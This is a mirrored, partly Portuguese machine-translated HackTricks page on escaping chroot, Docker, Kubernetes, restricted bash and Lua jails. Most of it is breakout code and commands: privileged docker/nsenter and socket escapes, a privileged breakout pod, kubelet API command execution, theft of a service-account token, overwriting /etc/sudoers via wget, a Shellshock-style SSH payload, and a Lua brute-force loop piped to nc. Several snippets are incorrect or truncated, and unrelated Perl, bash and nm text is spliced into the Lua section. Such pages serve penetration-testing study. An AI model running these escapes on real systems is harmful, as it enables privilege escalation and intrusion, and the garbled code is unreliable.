Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-22 02:53:28 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/linux-hardening/privilege-escalation/escaping-from-limited-bash.md
Translator workflow c928d8e52e Translated to Portuguese
2023-06-06 18:56:34 +00:00

17 KiB
Raw Blame History 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: %s <directory>\n", argv[0]);
        exit(1);
    }

    if (chroot(argv[1]) != 0) {
        perror("chroot");
        exit(1);
    }

    if (chdir("/") != 0) {
        perror("chdir");
        exit(1);
    }

    system("/bin/bash");
    return 0;
}

gcc break_chroot.c -o break_chroot
./break_chroot /new_chroot

Root + Mount

If you are root inside a chroot you can escape creating a mount. This because mounts are not affected by chroot.

mkdir /tmp/new_root
mount --bind / /tmp/new_root
chroot /tmp/new_root

User + CWD

If you are not root inside a chroot you can escape creating a new chroot with a new user. This because chroot doesn't affect the user.

mkdir /tmp/new_chroot
cp /bin/bash /tmp/new_chroot
chroot /tmp/new_chroot /bin/bash
su new_user

User + Mount

If you are not root inside a chroot you can escape creating a mount. This because mounts are not affected by chroot.

mkdir /tmp/new_root
mount --bind / /tmp/new_root
chroot /tmp/new_root
su new_user

Docker Escapes

Docker Breakouts

From wikipedia: Docker's default configuration relies on the host kernel for container isolation and security. By default, Docker containers share the host system's filesystem and network interface(s), but can be further restricted with the --read-only and --net=none flags. Linux capabilities and seccomp filters can be used to control the container's access to the host system.

{% hint style="success" %} The tool Docker Escape was created to automate the following escenarios and scape from Docker. {% endhint %}

Docker Breakout via Build

If you can build a Docker image you can escape from it.

FROM ubuntu:18.04
RUN apt-get update && apt-get install -y wget
RUN wget https://raw.githubusercontent.com/KrustyHack/docker-escape/master/docker_escape.c
RUN gcc docker_escape.c -o docker_escape
CMD ["bash"]

docker build -t escape .
docker run -it --privileged escape
./docker_escape

Docker Breakout via Run

If you can run a Docker container you can escape from it.

docker run -it --rm --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Docker Breakout via Volume

If you can mount a volume you can escape from it.

docker run -it --rm -v /:/mnt alpine chroot /mnt sh

Docker Breakout via Environment Variables

If you can set environment variables you can escape from it.

docker run -it --rm -e LD_PRELOAD=/tmp/lib.so alpine sh

Docker Breakout via Docker Socket

If you can access the Docker socket you can escape from it.

docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock alpine docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh

Kubernetes Escapes

Kubernetes Breakouts

From wikipedia: Kubernetes provides various security features to protect the master node(s) and the nodes. The API server component provides authentication and authorization mechanisms, such as client certificates, bearer tokens, and Kubernetes Role-Based Access Control (RBAC). The kubelet component provides node-level authentication and authorization using x509 certificates and a small set of built-in roles.

{% hint style="success" %} The tool Kubeletctl was created to automate the following escenarios and scape from Kubernetes. {% endhint %}

Kubernetes Breakout via Pod

If you can create a pod you can escape from it.

apiVersion: v1
kind: Pod
metadata:
  name: breakout
spec:
  containers:
  - name: breakout
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "mount --bind / /mnt; chroot /mnt sh"]
    securityContext:
      privileged: true
  restartPolicy: Never

kubectl apply -f breakout.yaml
kubectl exec -it breakout sh

Kubernetes Breakout via Service Account Token

If you can access a service account token you can escape from it.

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -H "Authorization: Bearer $TOKEN" https://kubernetes/api/v1/namespaces/default/pods

Kubernetes Breakout via Kubelet API

If you can access the kubelet API you can escape from it.

curl -k https://kubelet:10250/run/default/breakout -XPOST -d 'cmd=sh&cmd=-c&cmd=mount%20--bind%20/%20/mnt;%20chroot%20/mnt%20sh'

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
    mkdir("chroot-dir", 0755);
    chroot("chroot-dir");
    for(int i = 0; i < 1000; i++) {
        chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}
Python

Python

```python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): os.chdir("..") os.chroot(".") os.system("/bin/bash") ```
Perl

O Perl é uma linguagem de programação interpretada, multiplataforma e de alto nível. É frequentemente usada para automação de tarefas, processamento de texto e desenvolvimento web. O Perl é uma linguagem poderosa e flexível, com muitos módulos disponíveis para facilitar o desenvolvimento de aplicativos.

Para executar um comando em Perl, você pode usar a função system(). Por exemplo, para executar o comando ls -la, você pode usar o seguinte código:

system("ls -la");

Para executar um comando com privilégios elevados, você pode usar a função sudo. Por exemplo, para executar o comando whoami com privilégios elevados, você pode usar o seguinte código:

system("sudo whoami");

O Perl também tem a capacidade de executar comandos em segundo plano usando a função fork(). Por exemplo, para executar o comando ping em segundo plano, você pode usar o seguinte código:

if (fork() == 0) {
    exec("ping 8.8.8.8");
}

Este código cria um novo processo filho usando a função fork(). O processo filho executa o comando ping 8.8.8.8 usando a função exec(). O processo pai continua a executar o código restante.

O Perl também tem a capacidade de executar comandos em um shell interativo usando a função open(). Por exemplo, para abrir um shell interativo, você pode usar o seguinte código:

open(SHELL, "|/bin/bash");

Este código abre um shell interativo usando a função open(). O shell é executado no modo de pipe, permitindo que você envie comandos para o shell e receba a saída de volta. Você pode enviar comandos para o shell usando a função print(). Por exemplo, para executar o comando ls -la no shell interativo, você pode usar o seguinte código:

print SHELL "ls -la\n";

Este código envia o comando ls -la para o shell interativo usando a função print(). A saída do comando é enviada de volta para o script Perl e pode ser lida usando a função readline(). Por exemplo, para ler a saída do comando ls -la, você pode usar o seguinte código:

while (<SHELL>) {
    print $_;
}

Este código lê a saída do shell interativo linha por linha usando a função readline() e a imprime na tela usando a função print().

#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
    chdir ".."
}
chroot ".";
system("/bin/bash");

Root + FD salvo

{% hint style="warning" %} Este caso é semelhante ao anterior, mas neste caso o atacante armazena um descritor de arquivo para o diretório atual e, em seguida, cria o chroot em uma nova pasta. Finalmente, como ele tem acesso a esse FD fora do chroot, ele o acessa e escapa. {% endhint %}

C: break_chroot.c ```c #include <sys/stat.h> #include #include

//gcc break_chroot.c -o break_chroot

int main(void) { mkdir("tmpdir", 0755); dir_fd = open(".", O_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir_fd); close(dir_fd);
for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }

</details>

### Root + Fork + UDS (Unix Domain Sockets)

{% hint style="warning" %}
FD pode ser passado por Unix Domain Sockets, então:

* Crie um processo filho (fork)
* Crie UDS para que o pai e o filho possam se comunicar
* Execute chroot no processo filho em uma pasta diferente
* No processo pai, crie um FD de uma pasta que está fora do novo chroot do processo filho
* Passe para o processo filho esse FD usando o UDS
* O processo filho muda para o diretório desse FD e, como está fora do chroot, ele escapará da prisão
{% endhint %}

### &#x20;Root + Mount

{% hint style="warning" %}
* Montando o dispositivo raiz (/) em um diretório dentro do chroot
* Executando chroot nesse diretório

Isso é possível no Linux
{% endhint %}

### Root + /proc

{% hint style="warning" %}
* Monte o procfs em um diretório dentro do chroot (se ainda não estiver)
* Procure um pid que tenha uma entrada de raiz/cwd diferente, como: /proc/1/root
* Chroot nessa entrada
{% endhint %}

### Root(?) + Fork

{% hint style="warning" %}
* Crie um Fork (processo filho) e chroot em uma pasta diferente mais profunda no FS e CD nela
* Do processo pai, mova a pasta onde o processo filho está para uma pasta anterior ao chroot dos filhos
* Esse processo filho se encontrará fora do chroot
{% endhint %}

### ptrace

{% hint style="warning" %}
* Há algum tempo, os usuários podiam depurar seus próprios processos a partir de um processo próprio ... mas isso não é mais possível por padrão
* De qualquer forma, se for possível, você pode ptrace em um processo e executar um shellcode dentro dele ([veja este exemplo](linux-capabilities.md#cap\_sys\_ptrace)).
{% endhint %}

## Bash Jails

### Enumeração

Obtenha informações sobre a prisão:
```bash
echo $SHELL
echo $PATH
env
export
pwd

Modificar PATH

Verifique se é possível modificar a variável de ambiente PATH.

echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory

Usando o vim

:set shell=/bin/sh
:shell

Criar script

Verifique se você pode criar um arquivo executável com /bin/bash como conteúdo.

red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path

Obter bash a partir do SSH

Se você estiver acessando via ssh, pode usar este truque para executar um shell bash:

ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "

Declaração

declare -n PATH; export PATH=/bin;bash -i
 
BASH_CMDS[shell]=/bin/bash;shell -i

Wget

Você pode sobrescrever, por exemplo, o arquivo sudoers.

wget http://127.0.0.1:8080/sudoers -O /etc/sudoers

Outros truques

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
https://gtfobins.github.io
Também pode ser interessante a página:

{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

Jaulas Python

Truques sobre como escapar de jaulas Python na seguinte página:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Jaulas Lua

Nesta página, você pode encontrar as funções globais às quais você tem acesso dentro do Lua: https://www.gammon.com.au/scripts/doc.php?general=lua_base

Avaliação com execução de comando:

load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()

Algumas dicas para chamar funções de uma biblioteca sem usar pontos:

  • Use a função declare para criar uma referência para a biblioteca: declare -a lib=(/lib/x86_64-linux-gnu/libc.so.6)
  • Chame a função desejada usando a sintaxe ${lib[nome_da_funcao]}: ${lib[system]}('ls')
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))

Enumerar funções de uma biblioteca:

Para enumerar as funções de uma biblioteca, podemos usar a ferramenta nm. O nm lista os símbolos (incluindo as funções) de um arquivo objeto ou de uma biblioteca compartilhada.

Para listar as funções de uma biblioteca, execute o seguinte comando:

nm -gC /path/to/library.so

Onde /path/to/library.so é o caminho para a biblioteca que você deseja listar as funções.

O parâmetro -g lista apenas os símbolos globais (ou seja, as funções que podem ser acessadas por outros arquivos) e o parâmetro -C desmangle os nomes das funções (ou seja, converte os nomes das funções de sua forma codificada para sua forma legível por humanos).

O resultado será uma lista de todas as funções na biblioteca, juntamente com seus endereços na memória.

for k,v in pairs(string) do print(k,v) end

Observe que toda vez que você executa o comando anterior em um ambiente lua diferente, a ordem das funções muda. Portanto, se você precisar executar uma função específica, pode realizar um ataque de força bruta carregando diferentes ambientes lua e chamando a primeira função da biblioteca "le":

#In this scenario you could BF the victim that is generating a new lua environment 
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end

#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done

Obter shell lua interativa: Se você estiver dentro de uma shell lua limitada, poderá obter uma nova shell lua (e, esperançosamente, ilimitada) chamando:

debug.debug()

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥